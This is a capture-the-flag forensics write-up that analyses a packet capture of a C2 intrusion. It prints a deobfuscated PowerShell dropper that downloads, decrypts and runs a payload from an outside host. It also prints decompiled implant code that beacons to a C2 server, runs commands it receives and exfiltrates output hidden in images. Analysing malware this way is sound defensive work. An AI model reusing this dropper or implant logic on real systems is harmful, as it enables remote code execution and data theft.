Interstellar C2

Challenge Description

We noticed some interesting traffic coming from outer space. An unknown group is using a Command and Control server. After an exhaustive investigation, we discovered they had infected multiple scientists from Pandora's private research lab. Valuable research is at risk. Can you find out how the server works and retrieve what was stolen?

Evidence

  • capture.pcapng

Solution

Analyze the PCAP file

Although this challenge is labeled as medium-level, many people rate it as hard or very hard. As a result, I expected the challenge to be complicated or contain many layers of obfuscation.

First, I will analyze the PCAP file using Wireshark. From my observations, this network capture primarily shows the connection between two IP addresses: 192.168.25.140 and 64.226.84.200. Therefore, it is necessary to examine the TCP stream between these two IP addresses.

TCP stream 0
TCP stream 2

TCP stream 0: A sequence of obfuscated PowerShell scripts was sent from 64.226.84.200 to 192.168.25.140 (our host).

TCP stream 2: The host at 192.168.25.140 sent a GET request to 64.226.84.200:80. After the connection was successfully established, the website returned encrypted data.

Deobfuscate the Powershell script

The deobfuscated Powershell script will be shown below


.Set-iTem vAriAble:qLz0so ( [tYpe]SySTEM.io.FilEmode) ;
&set-VariABLE l60Yu3  ( [tYPe]sYStem.SeCuRiTY.crypTOgRAphY.aeS);
.Set-VARiaBle  BI34  (  [TyPE]sySTEm.secURITY.CrYpTogrAPHY.CrypTOSTReAmmoDE);
${U`Rl} = http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51
${P`TF} = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
.Import-Module BitsTransfer
.Start-BitsTransfer -Source ${u`Rl} -Destination ${p`Tf}
${Fs} = &New-Object IO.FileStream(${p`Tf},  ( &chilDIteM  ('VAria'+'blE'+':Q'+'L'+'z0sO')).VALue::"oP`eN")
${MS} = .New-Object System.IO.MemoryStream;
${a`es} =   (&('GI')  VARiaBLe:l60Yu3).VAluE::Create.Invoke()
${a`Es}."KE`Y`sIZE" = 128
${K`EY} = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
${iv} = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)    
${a`ES}."K`EY" = ${K`EY}
${A`es}."i`V" = ${i`V}
${cS} = .New-Object System.Security.Cryptography.CryptoStream(${m`S}, ${a`Es}.CreateDecryptor.Invoke(),   (&GeT-VARIaBLE  bI34  -VaLue )::"W`RItE");
${f`s}.CopyTo.Invoke(${Cs})
${d`ecD} = ${M`s}.ToArray.Invoke()
${C`S}.Write.Invoke(${d`ECD}, 0, ${d`ECd}."LENg`TH");
${D`eCd} | .Set-Content -Path "$env:temp\tmp7102591.exe" -Encoding Byte
& "$env:temp\tmp7102591.exe"

A quick analysis will follow:

  1. The script attempts to download content from the URL http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51 and then saves it to the path $env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51. Based on TCP stream 2 and the variable in these scripts, the data is encrypted by AES algorithm.

  2. The rest of the script attempts to decrypt the file temp\94974f08-5853-41ab-938a-ae1bd86d8e51 using the provided key and IV. Afterward, the decrypted content is saved to the file tmp7102591.exe.

Decrypt the data in TCP stream 2

Now, we will export the data in packet 62 (which contains encrypted data) in Wirshark and save it to a file.

With the encrypted data, key, and IV, we can write a Python script to decrypt the AES-encrypted information from TCP stream 2. The code is shown below.

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import requests

def decrypt_aes(encrypted_data, key, iv):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size)
    return decrypted_data
    
# Example Key and IV (must be 16 bytes for AES-128)
key = bytes([0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 0])
iv = bytes([0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1])

# Read the encrypted file
with open(r"<path_to_encrypted_file_data>", 'rb') as f:
    encrypted_data = f.read()

# Decrypt the data
decrypted_data = decrypt_aes(encrypted_data, key, iv)

# Write the decrypted data to a new file
with open(r"<path_to_saved_file\tmp7102591.exe", 'wb') as f:
    f.write(decrypted_data)

Analyst tmp7102591.exe (dropper_cs.exe)

After running the code, we will receive a file called tmp7102591.exe. The first thing I do when I have a malicious file is checking it's hash value then put this hash into VirustTotal to gain further infomation.

Generating tmp7102591.exe's md5 hash value

tmp7102591.exe's MD5: D7C582AFE33AF700119CDB818A9E3A68

VirusTotal result

After browsing through VirusTotal, I noticed that the malware is named dropper_cs.exe and is identified as a .NET executable. This means that we can decompile its code into a more readable form using a tool like DNSpy, which is commonly used for analyzing .NET assemblies.

We will take a look at function primer()

private static void primer()
{
	if (DateTime.ParseExact("2025-01-01", "yyyy-MM-dd", CultureInfo.InvariantCulture) > DateTime.Now)
	{
		Program.dfs = 0;
		string text = "";
		try
		{
			text = WindowsIdentity.GetCurrent().Name;
		}
		catch
		{
			text = Environment.UserName;
		}
		if (Program.ihInteg())
		{
			text += "*";
		}
		string userDomainName = Environment.UserDomainName;
		string environmentVariable = Environment.GetEnvironmentVariable("COMPUTERNAME");
		string environmentVariable2 = Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE");
		int id = Process.GetCurrentProcess().Id;
		string processName = Process.GetCurrentProcess().ProcessName;
		Environment.CurrentDirectory = Environment.GetEnvironmentVariable("windir");
		string text2 = null;
		string text3 = null;
		foreach (string text4 in Program.basearray)
		{
			string un = string.Format("{0};{1};{2};{3};{4};{5};1", new object[]
			{
				userDomainName,
				text,
				environmentVariable,
				environmentVariable2,
				id,
				processName
			});
			string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
			text3 = text4;
			string address = text3 + "/Kettie/Emmie/Anni?Theda=Merrilee?c";
			try
			{
				string enc = Program.GetWebRequest(Program.Encryption(key, un, false, null)).DownloadString(address);
				text2 = Program.Decryption(key, enc);
				break;
			}
			catch (Exception ex)
			{
				Console.WriteLine(string.Format(" > Exception {0}", ex.Message));
			}
			Program.dfs++;
		}
		if (string.IsNullOrEmpty(text2))
		{
			throw new Exception();
		}
		Regex regex = new Regex("RANDOMURI19901(.*)10991IRUMODNAR");
		Match match = regex.Match(text2);
		string randomURI = match.Groups[1].ToString();
		regex = new Regex("URLS10484390243(.*)34209348401SLRU");
		match = regex.Match(text2);
		string stringURLS = match.Groups[1].ToString();
		regex = new Regex("KILLDATE1665(.*)5661ETADLLIK");
		match = regex.Match(text2);
		string killDate = match.Groups[1].ToString();
		regex = new Regex("SLEEP98001(.*)10089PEELS");
		match = regex.Match(text2);
		string sleep = match.Groups[1].ToString();
		regex = new Regex("JITTER2025(.*)5202RETTIJ");
		match = regex.Match(text2);
		string jitter = match.Groups[1].ToString();
		regex = new Regex("NEWKEY8839394(.*)4939388YEKWEN");
		match = regex.Match(text2);
		string key2 = match.Groups[1].ToString();
		regex = new Regex("IMGS19459394(.*)49395491SGMI");
		match = regex.Match(text2);
		string stringIMGS = match.Groups[1].ToString();
		Program.ImplantCore(text3, randomURI, stringURLS, killDate, sleep, key2, stringIMGS, jitter);
	}
}

Quick analyst:

  1. The function tries to enumerate the environment of the compromised host to gather information such as COMPUTERNAME, PROCESSOR_ARCHITECTURE, etc

  2. This information will be encrypted with a key, which is a hardcoded value, and then used as a cookie

  3. The cookie is used in the connection to the C2 server (/Kettie/Emmie/Anni?Theda=Merrilee?c). During the connection, an encrypted content will be downloaded to the compromised host, which can be seen in TCP stream 3.

  4. The downloaded content will be decrypted by the Decryption() function using the provided key.

  5. After the content is decrypted, the necessary information will be extracted and passed to the ImplantCore() function for further action.

Decrypt TCP stream 3

The data of TCP stream 3 will be shown below

TCP stream 3

With the insight above, we can use the Decryption() function to decrypt the content in TCP stream 2. To do that, we need to examine how the Decryption function works. The code for this function will be shown below.

private static string Decryption(string key, string enc)
{
	byte[] array = Convert.FromBase64String(enc);
	byte[] array2 = new byte[16];
	Array.Copy(array, array2, 16);
	string @string;
	try
	{
		SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key, Convert.ToBase64String(array2), true);
		byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
		@string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])));
	}
	catch
	{
		SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key, Convert.ToBase64String(array2), false);
		byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
		@string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(new char[1])));
	}
	finally
	{
		Array.Clear(array, 0, array.Length);
		Array.Clear(array2, 0, 16);
	}
	return @string;
}

The Decryption function reveals that the malware uses the AES algorithm for both encryption and decryption. Since AES is a symmetric encryption algorithm, the same key is used for both processes. Based on the details of the function above, I will create a C# script to decrypt the content.

Program.cs
using System.IO.Compression;
using System.Security.Cryptography;
using System.Text;

namespace MyApp
{
    internal class Program
    {
        static void Main(string[] args)
        {
            string key = "DGCzi057IDmHvgTVE2gm60w8quqfpMD+o8qCBGpYItc=";
            string key1 = "nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=";
            string file_path = "<path_to_encrypted_file>";
            string encrypted_data = File.ReadAllText(file_path);
            
            //decrypt file 
            string text = "";

            text = Decryption(key, encrypted_data, false);
            Console.WriteLine(text);
            File.WriteAllText("<path_for_decrypted_file>", text);
        }
    
        private static string Decryption(string key, string enc, bool compressed = false)
        {
            byte[] array = Convert.FromBase64String(enc);
            byte[] array2 = new byte[16];
            Array.Copy(array, array2, 16);
            string @string;
            try
            {
                SymmetricAlgorithm symmetricAlgorithm = CreateCam(key, Convert.ToBase64String(array2), true);
                byte[] bytes = symmetricAlgorithm.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
                if(!compressed)
                {
                    @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes).Trim(new char[1])));
                }
                else
                {
                    @string = Encoding.UTF8.GetString(Decompress(bytes));
                }
            }
            catch
            {
                SymmetricAlgorithm symmetricAlgorithm2 = CreateCam(key, Convert.ToBase64String(array2), false);
                byte[] bytes2 = symmetricAlgorithm2.CreateDecryptor().TransformFinalBlock(array, 16, array.Length - 16);
                if(!compressed)
                {
                    @string = Encoding.UTF8.GetString(Convert.FromBase64String(Encoding.UTF8.GetString(bytes2).Trim(new char[1])));
                }
                else
                {
                    @string = Encoding.UTF8.GetString(Decompress(bytes2));
                }

            }
            finally
            {
                Array.Clear(array, 0, array.Length);
                Array.Clear(array2, 0, 16);
            }
            return @string;
        }

        private static SymmetricAlgorithm CreateCam(string key, string IV, bool rij = true)
        {
            SymmetricAlgorithm symmetricAlgorithm;
            if (rij)
            {
                symmetricAlgorithm = new RijndaelManaged();
            }
            else
            {
                symmetricAlgorithm = new AesCryptoServiceProvider();
            }
            symmetricAlgorithm.Mode = CipherMode.CBC;
            symmetricAlgorithm.Padding = PaddingMode.Zeros;
            symmetricAlgorithm.BlockSize = 128;
            symmetricAlgorithm.KeySize = 256;
            if (IV != null)
            {
                symmetricAlgorithm.IV = Convert.FromBase64String(IV);
            }
            else
            {
                symmetricAlgorithm.GenerateIV();
            }
            if (key != null)
            {
                symmetricAlgorithm.Key = Convert.FromBase64String(key);
            }
            return symmetricAlgorithm;
        }

        private static byte[] Decompress(byte[] compressedData)
        {
            using (MemoryStream memoryStream = new MemoryStream(compressedData))
            {
                using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress))
                {
                    using (MemoryStream resultStream = new MemoryStream())
                    {
                        // Copy decompressed data from GZipStream to resultStream
                        gzipStream.CopyTo(resultStream);
                        return resultStream.ToArray();
                    }
                }
            }
        }
    }
}

Now, we need to save TCP stream 2 to a file, then use the code above to decrypt it. After decryption, we will obtain a file containing content like the one below:

Setup_Implant.txt
RANDOMURI19901dVfhJmc2ciKvPOC10991IRUMODNAR
URLS10484390243"Kettie/Emmie/Anni?Theda=Merrilee", "Rey/Odele/Betsy/Evaleen/Lynnette?Violetta=Alie", "Wilona/Sybila/Pearla/Mair/Dannie/Darcie/Katerina/Irena/Missy/Ketty/", "Hedwiga/Pamelina/Lisette/Sibylla/Jana/Lise/Kellen/Daniela/Alika/", "Arlinda/Chelsae/Milka/Alexine/Mona/Catherin/Charmain/Deborah/", "Melessa/Anabelle/Bibbye/Candis/Jacqueline/Lacee/Nicola/Belvia?Lexi=Veronika", "Janith/Mona/Kimberlee/Flossi/Darcie/Doralia/Aloysia/Gracia/Antonella?Othella=Jewelle", "Vere/Maddalena/Kara/Thomasina/Alisha/Amargo/Carrissa/", "Harlie/Fanya/Jehanna/Jane/Tami/Sissy/", "Catlaina/Nikaniki/Sonja/Denni/Kelsey/Allis/Cherry?Hayley=Rosalind", "Gerry/June/Charissa/Blondy/Sharity/Lory?Loise=Maribelle", "Ariadne/Marianna/Betti/Samaria/Carmon/Tandy/Charissa/Sherrie/Felipa/Crissy/", "Glennis/Elfrieda/Fannie/Nola/Janetta/Darda/Kathi/Britte?Berta=Lidia", "Georgeta/Sharron/Cynthy/Roseanna/", "Morganne/Mamie/Arlee/Suki/Uta/Anett/Sena/Babette/Anderea?Hally=Karie", "Zondra/Tasha/Rey/Eolande/Rianon/Alla/Trula/Cynthea/Glyn?Jamima=Ethyl", "Edi/Phyllys/Marga/Jaquith/Ray/Lynnell/Flory?Angelle=Betteanne", "Ciel/Constantine/Catlee?Cecile=Karina", "Kaylee/Guglielma/Clementia/Ilka/", "Zoe/Delora/Christi/Carolan/Barbi/Myrta/Cherie/Halie/", "Brandy/Joanna/Afton/Jana?Chelsea=Truda", "Aveline/Alethea/Rona/Janka/Danila/Robbyn/Glynda/Stormi/", "Tamiko/Carine/Juliann/", "Jacenta/Hatti?Tatiana=Franny", "Hyacinth/", "Merrili/Gabrila/Harmony/Erda/", "Mirelle/Imogene/Rivalee/Ayn/Courtenay?Jania=Jerrylee", "Imogen/Ketti/Kari/Sam/Maurise?Shirlene=Eugenia", "Melinda/Lianne/Blancha/Silvie/Gracia/Zaneta/Lyda/Dalia/Tracie/", "Fanchette/Marlyn/Casey/Bobbye/Elayne/Charmane/", "Cissiee/Maxy/Madalyn/Esme/Esther/Barbette/Starla/Vin/Corrinne/Meggy/Joete?Glenna=Aida", "Kirsteni/Nelie/Lauralee/Stefanie/Haily/Annecorinne/Nettle/Natka?Jenda=Ursuline", "Elinore/", "Maisie/Hedwig/Natividad?Gisela=Ollie", "Roselle/Philippa/Noellyn/Zarah/Tillie/Koral/Laurette/Lelah/Kylynn/Cassaundra/Jordanna?Stormy=Vally", "Abbi/Rania/Vivienne/Engracia/Adel/Ange/Tonye/Rosemaria/Gretta/Guinna/Jehanna?Linnet=Daria", "Mamie/Eddi/Eddi/Tanitansy/Timmy/Willie/Catie/Gisela/Sheri/", "Helaina/Theadora/Malinda/Linnie/Jaquith/Ailyn/Magda?Sisile=Vonnie", "Faunie/Dionne/Shelbi/Zorana/Pearline/Rozanna/Kandace/Fanchon?Anna-Diana=Lorelei", "Waneta/Marnie/Jessalyn/Jaynell/Holli/Kassi/Euphemia/Katerine?Minda=Dawna", "Kikelia/Jacinthe/Adorne/Kariotta/Lonee/Krystalle/", "Constancia/Dynah?Allene=Moyra", "Donetta/", "Sallie/Lindie/Denni/", "Jeannine/Lucretia/Denna/Prudy/Hendrika/Ilysa/Caroljean?Aline=Tine"34209348401SLRU
KILLDATE16652025-01-015661ETADLLIK
SLEEP980013s10089PEELS
JITTER20250.25202RETTIJ
NEWKEY8839394nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=4939388YEKWEN
IMGS19459394"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"49395491SGMI

It’s worth noting that we have a list of URLS and a new key value here: nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=. This value will be passed to the ImplantCore() function. As a result, in the next section, we will examine the ImplantCore() function.

Analyze the ImplantCore() function.

The code of this function will be shown below:

private static void ImplantCore(string baseURL, string RandomURI, string stringURLS, string KillDate, string Sleep, string Key, string stringIMGS, string Jitter)
{
	Program.UrlGen.Init(stringURLS, RandomURI, baseURL);
	Program.ImgGen.Init(stringIMGS);
	Program.pKey = Key;
	int num = 5;
	Regex regex = new Regex("(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
	Match match = regex.Match(Sleep);
	if (match.Success)
	{
		num = Program.Parse_Beacon_Time(match.Groups["t"].Value, match.Groups["u"].Value);
	}
	StringWriter stringWriter = new StringWriter();
	Console.SetOut(stringWriter);
	ManualResetEvent manualResetEvent = new ManualResetEvent(false);
	StringBuilder stringBuilder = new StringBuilder();
	double num2 = 0.0;
	if (!double.TryParse(Jitter, NumberStyles.Any, CultureInfo.InvariantCulture, out num2))
	{
		num2 = 0.2;
	}
	while (!manualResetEvent.WaitOne(new Random().Next((int)((double)(num * 1000) * (1.0 - num2)), (int)((double)(num * 1000) * (1.0 + num2)))))
	{
		if (DateTime.ParseExact(KillDate, "yyyy-MM-dd", CultureInfo.InvariantCulture) < DateTime.Now)
		{
			Program.Run = false;
			manualResetEvent.Set();
		}
		else
		{
			stringBuilder.Length = 0;
			try
			{
				string text = "";
				string cmd = null;
				try
				{
					cmd = Program.GetWebRequest(null).DownloadString(Program.UrlGen.GenerateUrl());
					text = Program.Decryption(Key, cmd).Replace("\0", string.Empty);
				}
				catch
				{
					continue;
				}
				if (text.ToLower().StartsWith("multicmd"))
				{
					string text2 = text.Replace("multicmd", "");
					string[] array = text2.Split(new string[]
					{
						"!d-3dion@LD!-d"
					}, StringSplitOptions.RemoveEmptyEntries);
					foreach (string text3 in array)
					{
						Program.taskId = text3.Substring(0, 5);
						cmd = text3.Substring(5, text3.Length - 5);
						if (cmd.ToLower().StartsWith("exit"))
						{
							Program.Run = false;
							manualResetEvent.Set();
							break;
						}
						if (cmd.ToLower().StartsWith("loadmodule"))
						{
							string s = Regex.Replace(cmd, "loadmodule", "", RegexOptions.IgnoreCase);
							Assembly assembly = Assembly.Load(Convert.FromBase64String(s));
							Program.Exec(stringBuilder.ToString(), Program.taskId, Key, null);
						}
						else if (cmd.ToLower().StartsWith("run-dll-background") || cmd.ToLower().StartsWith("run-exe-background"))
						{
							Thread thread = new Thread(delegate()
							{
								Program.rAsm(cmd);
							});
							Program.Exec("[+] Running background task", Program.taskId, Key, null);
							thread.Start();
						}
						else if (cmd.ToLower().StartsWith("run-dll") || cmd.ToLower().StartsWith("run-exe"))
						{
							stringBuilder.AppendLine(Program.rAsm(cmd));
						}
						else if (cmd.ToLower().StartsWith("beacon"))
						{
							Regex regex2 = new Regex("(?<=(beacon)\\s{1,})(?<t>[0-9]{1,9})(?<u>[h,m,s]{0,1})", RegexOptions.IgnoreCase | RegexOptions.Compiled);
							Match match2 = regex2.Match(text3);
							if (match2.Success)
							{
								num = Program.Parse_Beacon_Time(match2.Groups["t"].Value, match2.Groups["u"].Value);
							}
							else
							{
								stringBuilder.AppendLine(string.Format("[X] Invalid time \"{0}\"", text3));
							}
							Program.Exec("Beacon set", Program.taskId, Key, null);
						}
						else
						{
							string text4 = Program.rAsm(string.Format("run-exe Core.Program Core {0}", cmd));
						}
						stringBuilder.AppendLine(stringWriter.ToString());
						StringBuilder stringBuilder2 = stringWriter.GetStringBuilder();
						stringBuilder2.Remove(0, stringBuilder2.Length);
						if (stringBuilder.Length > 2)
						{
							Program.Exec(stringBuilder.ToString(), Program.taskId, Key, null);
						}
						stringBuilder.Length = 0;
					}
				}
			}
			catch (NullReferenceException ex)
			{
			}
			catch (WebException ex2)
			{
			}
			catch (Exception arg)
			{
				Program.Exec(string.Format("Error: {0} {1}", stringBuilder.ToString(), arg), "Error", Key, null);
			}
			finally
			{
				stringBuilder.AppendLine(stringWriter.ToString());
				StringBuilder stringBuilder3 = stringWriter.GetStringBuilder();
				stringBuilder3.Remove(0, stringBuilder3.Length);
				if (stringBuilder.Length > 2)
				{
					Program.Exec(stringBuilder.ToString(), "99999", Key, null);
				}
				stringBuilder.Length = 0;
			}
		}
	}
}

Quick analysis:

  1. Line 1 to 21: The function initializes various components like URL generation, image handling, and sets a decryption key. It also set a time sleep duration and jitter value

  2. Line 24 to 27: In the loops, it checks if the current date has surpassed the "kill date". If the kill date is reached, it stops the execution of implant

  3. Line 36 to 40: the implant receive the command from C2 server via HTTP. The command is decrypt with the new key value (nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=)

  4. Line 45 to 108: the implant executes the command via Exec() function

  5. Line 122 to 129: After executing commands, the implant send s the result back to C2 server

Analyze the Exec() function.

public static void Exec(string cmd, string taskId, string key = null, byte[] encByte = null)
{
	if (string.IsNullOrEmpty(key))
	{
		key = Program.pKey;
	}
	string cookie = Program.Encryption(key, taskId, false, null);
	string s;
	if (encByte != null)
	{
		s = Program.Encryption(key, null, true, encByte);
	}
	else
	{
		s = Program.Encryption(key, cmd, true, null);
	}
	byte[] cmdoutput = Convert.FromBase64String(s);
	byte[] imgData = Program.ImgGen.GetImgData(cmdoutput);
	int i = 0;
	while (i < 5)
	{
		i++;
		try
		{
			Program.GetWebRequest(cookie).UploadData(Program.UrlGen.GenerateUrl(), imgData);
			i = 5;
		}
		catch
		{
		}
	}
}

This function is responsible for executing the command line. Moreover, it encrypts the output of the command, then obfuscates it by adding it with a random picture. To gain a deeper understanding of how this works, we need to analyze the Program.ImgGen.GetImgData() function.

internal static byte[] GetImgData(byte[] cmdoutput)
{
	int num = 1500;
	int num2 = cmdoutput.Length + num;
	string s = Program.ImgGen._newImgs[new Random().Next(0, Program.ImgGen._newImgs.Count)];
	byte[] array = Convert.FromBase64String(s);
